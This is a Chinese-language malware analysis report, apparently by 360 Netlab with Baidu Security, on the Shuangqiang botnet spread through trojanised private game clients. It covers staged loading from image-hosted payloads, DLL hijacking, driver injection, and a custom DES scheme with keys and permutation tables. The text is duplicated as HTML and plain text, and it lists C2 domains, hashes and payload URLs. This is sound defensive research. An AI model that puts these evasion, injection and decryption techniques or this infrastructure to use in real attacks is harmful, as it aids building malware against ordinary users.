<p>完成上述初始化过程后，驱动开始根据配置文件进入真正的功能操作。根据解析的配置文件，dll和驱动模块配合可以完成非常复杂的功能，下面罗列其中一部分功能。</p>
<ul>
<li>
<p>更新驱动文件</p>
<p>程序会使用另一套算法得到DES解密密钥 <strong><code>HelloKey</code></strong>，最后用 DES 算法解出最终数据：</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_decrypt_hellokey.png"/></div>
</li>
<li>
<p>劫持进程ip地址。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_hijack_process_ip.png"/></div>
</li>
<li>
<p>向系统中添加证书</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_add_root_cert.png"/></div>
</li>
<li>
<p>下载文件到 TEMP 目录并创建进程。</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_tmp_create_process.png"/></div>
</li>
<li>
<p>篡改 DNS配置</p>
<div align="center"><img width="900" src="__GHOST_URL__/content/images/2020/04/dl_drv_setDns.png"/></div>
</li>
<li>
<p>PAC 代理劫持</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_hijack_pac.png"/></div>
</li>
</ul>
<hr>
<h2 id="2dll">感染方式2 — DLL 劫持</h2>
<p>感染方式 2 依然是以私服客户端为载体，但是在技术细节上有较大差异。</p>
<p>登录器下载页面：</p>
<div align="center"><img width="80%" src="__GHOST_URL__/content/images/2020/04/client2_home_page.png"/></div>
<p>下载后的登录器：</p>
<div align="center"><img width="80%" src="__GHOST_URL__/content/images/2020/04/clinet2_zip_file.png"/></div>
<p>多款类似游戏的私服客户端的组件 <strong>photobase.dll</strong> 被替换成同名的恶意 DLL 文件，恶意 DLL 文件的 PE Resource 中包含 3 个关键文件：</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_pe_rsrc.png" style="zoom:80%;" />
<p>恶意 <strong>photobase.dll</strong> 有两个关键动作：</p>
<ol>
<li>
<p>首先会释放相应架构的恶意驱动程序，然后注册系统服务并启动；</p>
</li>
<li>
<p>然后加载真正的 photobase.dll 文件，并将导出函数转发到真正的 photobase.dll。</p>
</li>
</ol>
<p>后续感染流程同上。 这是一套标准的 DLL 劫持加载方式。</p>
<h3 id="1">阶段1 — 释放并加载恶意驱动</h3>
<p>恶意 photobase.dll 文件会首先为即将释放的恶意驱动文件生成一个随机文件名，文件名为 10 个随机字符，文件后缀为 <code>.dat</code>，并把自身 PE Resource 中相应的驱动文件放到 <code>%windir%\Temp\</code> 目录下。</p>
<p>然后为落地的恶意驱动文件注册系统服务，并启动服务：</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_load_driver.png" style="zoom:70%;" />
<p>恶意驱动接下来的活动与前面第一种感染方式雷同，即下载、解密并最终加载其他恶意文件。</p>
<h3 id="2photobasedll">阶段2 — 加载真 photobase.dll</h3>
<p>在恶意 photobase.dll PE Resource 中的真 photobase.dll 文件的前 2 个字节被置空：</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_PE_rsrc_real_dll.png" style="zoom:80%;" />
<p>恶意 photobase.dll 从 PE Resource 中提取这份文件的时候，会把这前 2 个字节以 <code>MZ</code>(PE 文件头) 填充：</p>
<img src="__GHOST_URL__/content/images/2020/04/photobase_dll_fix_PE_file_header.png" style="zoom:60%;" />
<p>然后，恶意的 photobase.dll 文件会为刚载入的真正的 photobase.dll 文件载入动态链接库、导入相关函数，最后，把真 photobase.dll 中的导出函数转发到自己的导出函数中。部分转发的导出函数如下：</p>
<img src="__GHOST_URL__/content/images/2020/04/part_of_forwarded_funcs.png" style="zoom:80%;" />
<p>以上面高亮的导出函数 <code>Sqm::AddToStream()</code> 为例，恶意 photobase.dll 中的转发实现如下：</p>
<img src="__GHOST_URL__/content/images/2020/04/forwarded_func.png" style="zoom:70%;" />
<h2 id="">百度安全团队声明</h2>
<p>基于海量威胁情报，百度安全反黑产开放平台配合测算出僵尸网络的规模。平台同时启动相关措施，尝试对受僵尸网络控制的用户进行风险提示。在本次联合行动中，通过黑产威胁情报分析、共享、应对等举措，我们对于双枪团伙的作案技术手段、逻辑及规则形成进一步认知。</p>
<hr>
<h2 id="">附录</h2>
<h3 id="des">DES 加解密算法中的自定义转换表：</h3>
<p>以下转换表不同于大部分 DES 加解密的公开实现，左移位数表与 SBox 表都同于常见 DES 算法实现。</p>
<pre><code># Permutation and translation tables for DES
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 46,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
</code></pre>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <strong><a href="https://twitter.com/360Netlab">twitter</a></strong> 或者通过邮件 <strong>netlab[at]360.cn</strong> 联系我们。</p>
<h2 id="ioc">部分IOC：</h2>
<h3 id="ccs">C&Cs</h3>
<pre><code>pro.csocools.com
www.w15773.com
cs.wconf5.com
cs.ledfaguang.com
white.fei46413.com
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>aa497dfb5a92c28f7fa5b8e049155da0
081e586a6010b3b72ba4934f8cbdb368
04db0b062c7491a124bf7388d783c17e
0c0f43ed8317869918a23a7e7bfeb0e8
1785ef2d8bd40d8af32cca0f536cb6e8
3fb5e2c05b73168c3f259d64b8978a64
</code></pre>
<h3 id="urls">URLs</h3>
<pre><code>https://share.weiyun.com/5XqTYW6
https://www.w15773.com:12310/123.html
https://www.w15773.com:12309/report.ashx
http://www.w15773.com:12313/config.html
http://www.w15773.com:8889/stat1.ashx
https://pro.csocools.com:12310/123.html
https://pro.csocools.com:12309/report.ashx
http://pro.csocools.com:8889/stat1.ashx
https://share.weiyun.com/5dSpU6a
https://cs.wconf5.com:12709/report.ashx
https://cs.wconf5.com:12710/123.html
https://cs.wconf5.com:12713/config.html
https://cs.wconf5.com:12715/GetTag.ashx
http://cs.wconf5.com:8889/stat1.ashx
https://cs.ledfaguang.com:12710/123.html
https://cs.ledfaguang.com:12709/report.ashx
http://cs.ledfaguang.com:12713/config.html
http://cs.ledfaguang.com:8889/stat1.ashx
http://white.fei46413.com:12313/config.html
http://white.fei46413.com:8889/stat1.ashx
https://ap.echoit1.com:12310/123.html
https://ap.echoit1.com:12309/report.ashx
https://ap.echoit1.com:12710/123.html
https://ap.echoit1.com:12709/report.ashx
http://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg
http://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg
http://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg
http://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg
http://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg
http://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg
http://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50ab.jpg
http://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：jinye，JiaYu，suqitian，核心安全部研究员THL
概述
近日，我们的域名异常监测系统 DNSMon 捕捉到域名 pro.csocools.com 的异常活动。根据数据覆盖度估算，感染规模超过100k。我们通过告警域名关联到一批样本和 C2，分析样本后发现是与双枪恶意程序相关的团伙开始新的大规模活动。近年来双枪团伙屡次被安全厂商曝光和打击，但每次都能死灰复燃高调复出，可见其下发渠道非常庞大。本次依然是因为受感染主机数量巨大，导致互联网监测数据异常，触发了netlab的预警系统。本报告中我们通过梳理和这些URL相关的C2发现了一些模式，做了一些推测。
我们观察到恶意软件除了使用百度贴吧图片来分发配置文件和恶意软件，还使用了阿里云存储来托管配置文件。为了提高灵活性和稳定性，加大阻拦难度，开发者还利用百度统计这种常见的网络服务来管理感染主机的活跃情况。同时我们在样本中多次发现了腾讯微云的URL地址，有意思的是我们在代码中并没有找到引用这些地址的代码。至此，双枪团伙第一次将BAT三大厂商的服务集成到了自己的程序中，可以预见使用开放服务来管理僵尸网络或将成为流行趋势。有必要澄清的是，这些公开服务本身均为技术中立，此恶意代码中滥用这些公开服务完全是其作者的蓄意行为，各主要互联网公司均在用户许可中明确反对并采取措施抵御这些恶意滥用行为。
5月14日起，我们联系到了百度安全团队，采取了联合行动，对该恶意代码的传播范围做了度量，并采取了抵御措施。截止本文发稿，相关的恶意代码下载链接已经被阻断。百度安全团队对该事件的声明见文末。
IOC关联分析
从告警域名入手，通过DNS解析记录和样本流量分析建立IOC关联，过滤掉孤立和噪音节点，我们找到了一组与此次传播活动有关的关键C2。从下面截取的部分IOC关联图可以看出，几乎所有的域名都和两个关键的ip 地址 125.124.255.20 和 125.124.255.79 有关，围绕这两个ip地址，双枪团伙从19年下半年开始依次启用了一批域名来控制和下发恶意程序。事实上这个团伙长期且稳定的控制了大量 125.124.255.0/24 网段的ip地址，可以看出他们拥有非常丰富的网络资源。
通过样本溯源可以看到，这次大规模感染主要是通过诱导用户安装包含恶意代码的网游私服客户端，具体感染方式大体分为两种，下面进行深入分析。
感染方式1 — 启动器内包含恶意代码
阶段1 — 下载并加载cs.dll恶意文件
各类私服入口
点击下载链接跳到私服主页
登录器下载 “蟠龙军衔.zip”
含恶意代码的私服客户端启动器被用户下载并执行，恶意代码访问配置信息服务器，然后根据配置信息从百度贴吧下载并动态加载名为 cs.dll 的最新版本恶意程序。cs.dll 中的敏感字串使用了一种变形的 DES 加密方法，这种加密算法和我们之前捕捉到的双枪样本高度相似。我们从样本主体 exe 文件入手，逐步分析上述恶意行为。
*
文件结构
"蟠龙军衔.exe" PE Resource 中包含 7 个文件，Widget.dll 是客户端组件，资源文件中的cs.dll 是旧版的恶意程序。4 个 .sys 文件是私服客户端的驱动程序，虽然命名为Game Protect，但我们在代码中发现了劫持流量插入广告的代码。
*
下载配置信息
启动器创建线程访问加密配置文件 http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt
页面包含 8 行 16 进制字串，与密钥 B2 09 BB 55 93 6D 44 47 循环异或即可解密。
解密后是 8 个百度贴吧图片的地址。
*
下载图片文件切割并重组 cs.dll 文件
直接访问图片地址，图片文内容看起来像是随机生成的。
恶意程序会下载图片文件，每张图片使用 ><>>>< 为标记来分隔图像数据和恶意代码数据。
把所有恶意代码拼接起来我们得到了阶段 2 的恶意程序 cs.dll。
恶意程序通过内存映射的方式加载上述 cs.dll，然后调用导出函数 abcd() 进入阶段 2 ，所以并没有文件落地。
阶段2 — 上报主机信息，释放并加载恶意驱动
cs.dll 会进行一些简单的虚拟机和杀软对抗，利用百度统计服务上报 Bot 信息，释放第 3 阶段 VMP 加壳的驱动程序（包含x86/x64两个版本）。
*
DES 解密算法
样本中的 DES 解密算法为恶意软件作者自定义实现，加密模式为 CBC，无填充。DES 加密算法的转换表与旧版（“双枪”木马的基础设施更新及相应传播方式的分析）相同 。本次恶意活动涉及的 DES 解密，都涉及 2 层解密，第一层解密，先以 Base64 算法解码字符串 dBvvIEmQW2s= 得到一份二进制数据，再以空密钥 \x00\x00\x00\x00\x00\x00\x00\x00 对上述二进制数据解密，得出字串 helloya\x00，再以此字串作为密钥，用自研 DES 算法解密其他大量密文数据。完整的解密过程如下：
*
检查虚拟主机环境 VM 和 WM
通过检查注测表项判断是否是 VMWare 主机，如果是 VM 主机代码则直接返回。
检查系统服务 WayOSFw 是否存在，如果服务存在则直接返回。
*
创建 Bot ID
使用系统 API 创建主机的 Bot ID，写入注册表 SOFTWARE\\PCID，
*
利用百度统计服务管理 Bot
恶意软件的开发者借用了百度统计接口的一些标准字段来上报主机敏感信息，利用百度统计这种常见的网络行为来管理感染主机的活跃情况。因为百度统计服务被大量网站使用，从流量上看是一套合规的浏览器网络行为，所以很难将其区分出来，加大了安全厂商打击的难度。
恶意程序首先使用一个名为 DataWork() 的函数伪造浏览器请求，下载 hm.js 脚本。
保存返回信息中的用户 Cookie 信息 HMACCOUNT 到注册表。
通过 http://hm.baidu.com/hm.gif? 接口，恶意程序将提取到的统计脚本的版本信息this.b.v、用户 Cookie 信息、bot_id 和伪造的其它统计信息组包上报，恶意软件开发者使用百度统计的后台可以方便的管理和评估感染用户。
*
从 Dat 资源解密，创建，安装驱动
检查是否安装了 XxGamesFilter 等私服客户端驱动。
根据安装情况和操作系统版本选择不同的资源 ID，每一个资源对应不同版本的驱动（32 位系统使用 ID 为 111 或 109 资源，64 位系统使用 ID 为 110 或 112 的资源）。
资源是简单加密过的，以解密 32 位驱动为例，首先倒转数据顺序，然后逐字节和系统版本数值 32 异或，得到一个 VMP 加壳的驱动文件。
检测是否存在 TeSafe 驱动，如果存在刚中断感染流程。计算 TeSafe+{Computer Name} 的 MD5 值，检测是否存在名为该 MD5 字串的驱动，如果存在说明系统已经被感染过，也会中断感染流程。
//拼接字串
+00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P
+10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A..........
//拼接字串的MD5值
+00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620
+10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42
如果系统 EnableCertPaddingCheck 注册表项关闭，则替换文件末尾 16 字节为随机数据。这样每个感染主机上的样本 HASH 值完全不一样，可以对抗基于 HASH 查杀的方案。
将驱动程序释放到 TEMP 目录下，文件名为长度为 7 的随机字符串。例如："C:\Users\{User Name}\AppData\Local\Temp\iiitubl"
注册驱动文件启动服务并检测安装是否成功。
阶段3 — 劫持系统进程，下载后续恶意程序
驱动运行后会拷贝自己到 Windows/system32/driver/{7个随机字符}.sys ，伪造驱动设备信息为常见的合法驱动，如 fltMgr.sys ，向系统进程 Lassas.exe 和 svchost.exe 注入 DLL 模块。完成整个初始化过程后，就形成了一个驱动和 DLL 模块通过 DeviceIoControl() 通信合作来完成作务的工作模式，这是一个驱动级别的下载器。所有敏感的配置信息都保存在驱动内部，DLL 通过调用驱动来获得配置服务器相关信息，根据下载的配置信息去百度贴吧下载其它恶意代码，进行下一阶段的恶意活动。
*
驱动运行后用APC注入法向系统进程 Lassas.exe 注入 DLL 模块。
*
DLL 配合驱动的执行过程。
DLL 首先尝试创建互斥对象 {12F7BB4C-9886-4EC2-B831-FE762D4745DC} ，防止系统创建多个实例。
接着会检查宿住进程是否是 Lsass.exe 或 svchost.exe，确保不是运行在沙箱之类的分析环境中。
尝试创建设备 "\\.\F46EA07E79033620CE13D35DE19AAC42" 句柄，建立和驱动模块的通信。
向驱动发送 0x222084 设备控制码，获得连接服务器的配置信息。和配置服务器的通信使用 HTTPS+DES 的双重加密方式，配置信息包含三个重要的部分：
1.
主机信息上报服务 https://cs.wconf5.com:12709/report.ashx，供 DLL 上报主机基本信息。
bot id，安装时间等基本信息。
是否安装 360 杀毒，是否是虚拟机环境。
是否是无盘工作站。
上报主机信息使用DES加密，密钥为 HQDCKEY1。
2.
访问 https://cs.wconf5.com:12710/123.html 下载配置信息：
配置信息依然是变形 DES 加密，解密密钥为 HQDCKEY1。解密后可以看到配置信息使用自定义的格式，两个百度图片为一组，截取有效数据拼接为一个有效文件：
3.
配置信息 https://share.weiyun.com/5dSpU6a 功能未知：
所有驱动样本返回的配置信息都包含一个腾讯微云地址，直接访问该地址可以看到若干字符和数字组成的无意义字串。我们在收集到的配置信息中发现，每组数据中的配置信息服务器和微云保存的数据存在特定的模式。以上图为例，访问腾讯微云，获取字符串 cs127，其同组数据中的配置文件服务器的子域为 cs.xxxx.com ，端口为127xx。这看起来像是一种动态生成配置文件服务器地址的策略，推测可能是还在开发阶段的功能，所以样本中并未包含对应代码。
完成上述初始化过程后，驱动开始根据配置文件进入真正的功能操作。根据解析的配置文件，dll和驱动模块配合可以完成非常复杂的功能，下面罗列其中一部分功能。
*
更新驱动文件
程序会使用另一套算法得到DES解密密钥 HelloKey，最后用 DES 算法解出最终数据：
*
劫持进程ip地址。
*
向系统中添加证书
*
下载文件到 TEMP 目录并创建进程。
*
篡改 DNS配置
*
PAC 代理劫持
感染方式2 — DLL 劫持
感染方式 2 依然是以私服客户端为载体，但是在技术细节上有较大差异。
登录器下载页面：
下载后的登录器：
多款类似游戏的私服客户端的组件 photobase.dll 被替换成同名的恶意 DLL 文件，恶意 DLL 文件的 PE Resource 中包含 3 个关键文件：
恶意 photobase.dll 有两个关键动作：
1.
首先会释放相应架构的恶意驱动程序，然后注册系统服务并启动；
2.
然后加载真正的 photobase.dll 文件，并将导出函数转发到真正的 photobase.dll。
后续感染流程同上。 这是一套标准的 DLL 劫持加载方式。
阶段1 — 释放并加载恶意驱动
恶意 photobase.dll 文件会首先为即将释放的恶意驱动文件生成一个随机文件名，文件名为 10 个随机字符，文件后缀为 .dat，并把自身 PE Resource 中相应的驱动文件放到 %windir%\Temp\ 目录下。
然后为落地的恶意驱动文件注册系统服务，并启动服务：
恶意驱动接下来的活动与前面第一种感染方式雷同，即下载、解密并最终加载其他恶意文件。
阶段2 — 加载真 photobase.dll
在恶意 photobase.dll PE Resource 中的真 photobase.dll 文件的前 2 个字节被置空：
恶意 photobase.dll 从 PE Resource 中提取这份文件的时候，会把这前 2 个字节以 MZ(PE 文件头) 填充：
然后，恶意的 photobase.dll 文件会为刚载入的真正的 photobase.dll 文件载入动态链接库、导入相关函数，最后，把真 photobase.dll 中的导出函数转发到自己的导出函数中。部分转发的导出函数如下：
以上面高亮的导出函数 Sqm::AddToStream() 为例，恶意 photobase.dll 中的转发实现如下：
百度安全团队声明
基于海量威胁情报，百度安全反黑产开放平台配合测算出僵尸网络的规模。平台同时启动相关措施，尝试对受僵尸网络控制的用户进行风险提示。在本次联合行动中，通过黑产威胁情报分析、共享、应对等举措，我们对于双枪团伙的作案技术手段、逻辑及规则形成进一步认知。
附录
DES 加解密算法中的自定义转换表：
以下转换表不同于大部分 DES 加解密的公开实现，左移位数表与 SBox 表都同于常见 DES 算法实现。
# Permutation and translation tables for DES
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
# permuted choice key (table 2)
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 46,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# 32-bit permutation function P used on the output of the S-boxes
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
# final permutation IP^-1
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件 netlab[at]360.cn 联系我们。
部分IOC：
C&Cs
pro.csocools.com
www.w15773.com
cs.wconf5.com
cs.ledfaguang.com
white.fei46413.com
MD5
aa497dfb5a92c28f7fa5b8e049155da0
081e586a6010b3b72ba4934f8cbdb368
04db0b062c7491a124bf7388d783c17e
0c0f43ed8317869918a23a7e7bfeb0e8
1785ef2d8bd40d8af32cca0f536cb6e8
3fb5e2c05b73168c3f259d64b8978a64
URLs
https://share.weiyun.com/5XqTYW6
https://www.w15773.com:12310/123.html
https://www.w15773.com:12309/report.ashx
http://www.w15773.com:12313/config.html
http://www.w15773.com:8889/stat1.ashx
https://pro.csocools.com:12310/123.html
https://pro.csocools.com:12309/report.ashx
http://pro.csocools.com:8889/stat1.ashx
https://share.weiyun.com/5dSpU6a
https://cs.wconf5.com:12709/report.ashx
https://cs.wconf5.com:12710/123.html
https://cs.wconf5.com:12713/config.html
https://cs.wconf5.com:12715/GetTag.ashx
http://cs.wconf5.com:8889/stat1.ashx
https://cs.ledfaguang.com:12710/123.html
https://cs.ledfaguang.com:12709/report.ashx
http://cs.ledfaguang.com:12713/config.html
http://cs.ledfaguang.com:8889/stat1.ashx
http://white.fei46413.com:12313/config.html
http://white.fei46413.com:8889/stat1.ashx
https://ap.echoit1.com:12310/123.html
https://ap.echoit1.com:12309/report.ashx
https://ap.echoit1.com:12710/123.html
https://ap.echoit1.com:12709/report.ashx
http://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg
http://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg
http://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg
http://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg
http://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg
http://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg
http://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50ab.jpg
http://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg
